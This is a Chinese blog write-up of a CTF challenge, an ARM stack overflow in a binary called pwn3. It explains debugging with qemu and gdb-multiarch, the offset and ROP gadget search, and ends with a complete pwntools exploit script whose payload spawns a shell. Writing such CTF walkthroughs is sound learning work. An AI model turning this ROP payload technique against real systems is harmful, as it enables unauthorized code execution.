博客地址
静态编译的arm栈溢出,我也是第一次做arm,主要需要解决动态调试的问题。
题目地址
arm基础知识
r0,r1,r2,r3为前四个参数,在多余的参数依次压栈。
pc为程序下一条指令地址,相当于x86汇编里的eip。
环境配置
qemu
,用来模拟arm环境
如图,可以运行arm程序
gdb-multiarch
,用来调试arm架构程序
动态调试
1.qemu-arm -g 1234 ./pwn3 来打开程序并且发送到端口
2. gdb-multiarch来打开gdb
3.`set architecture arm`设置架构为arm
4.`target remote:1234`侦听端口
如图,成功断下。
题目实例
前提
由于这个题是静态编译,不需要依赖libc库,如果为动态编译的题,可能运行还需要解决依赖问题。
寻找漏洞
首次运行程序,
发现需要新建banner.txt
,那好我们就新建一个。
发现打印出了txt里内容。
由此可以想到两种情况。
1.实现fd=open(“banner.txt”,“r”),read(fd,x,x),write(1,x,x);
2.实现system(“cat banner.txt”)
我们使用cyclic 200
生成200字节输入
发现报错.使用命令cyclic -l 0x6261616a
来查找偏移,为136。
程序分析
将程序拖入IDA,发现没有main函数,shift+F12
查找buffer:
字符串,同时也发现/bin/sh
字符串。
发现两次引用。先进入第一个函数,查看伪代码。
应该就是main函数
sub_102E4()
应该就是banner.txt操作函数,进入
则sub_14B5C
即为system
函数
寻找ROP,
ROPgadget --binary pwn3 --only "pop|ret"
编写exp
构造payload
system_addr=0x01480C
binsh_addr=0x49018
pop_r0_r4_pc=0x1fb5c
payload="a"*136+p32(pop_r0_r4_pc)+p32(binsh_addr)+p32(0)+p32(system_addr)
以为可以一把梭,但是失败了,
gdb-multiarch ./pwn3 qemu_pwn3_20200405-212216_5840.core
命令来查看程序死掉时的状态。
发现差的有点多,好像啥都没写进去。
经过我的尝试发现偏移实际为140,这可能时cyclic在测试arm程序的一个bug,
payload="a"*140+p32(pop_r0_r4_pc)+p32(binsh_addr)+p32(0)+p32(system_addr)
还是失败,这时我就有点纳闷了,因为我一直没找到好的pwntools+gdb-multiarch
动调的方法.
尝试payload在pc的时候直接挂掉,将pc设置为0xffffffff
来查看pc是否写入.
payload="a"*140+p32(pop_r0_r4_pc)+p32(binsh_addr)+p32(0)+p32(0xffffffff)
发现挂在了0xfffffffe
,所以应该是在某一点将pc-1了。
payload="a"*140+p32(pop_r0_r4_pc)+p32(binsh_addr)+p32(0)+p32(system_addr+1)
实现getshell
exp:
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'i386'
p = 0
def pwn(ip,port,debug,flaag):
elf = ELF(flaag)
global p
if(debug == 1):
p = process(flaag)
else:
p = remote(ip,port)
system_addr=0x01480C
binsh_addr=0x49018
pop_r0_r4_pc=0x1fb5c
payload="a"*140+p32(pop_r0_r4_pc)+p32(binsh_addr)+p32(0)+p32(system_addr+1)
p.sendlineafter("buffer: ",payload)
p.interactive()
if __name__ == '__main__':
pwn('buuoj.cn',20035,1,'./pwn3')
总结
因为这我也是头一回接触arm程序,所以可能写的有点啰嗦,而且一直在pwntools下动调arm这一直没有找到合适的解决方案,希望有会的师傅们可以说一下,带带弟弟。
ps
找到动调的方法了,
p = process(['qemu-arm','-g','1234','./pwn3'])
exp中使用pause()暂停住程序。
来打开文件同时也会发送到端口,另开一终端,
gdb-multiarch
set architecture arm
target remote 127.0.0.1:1234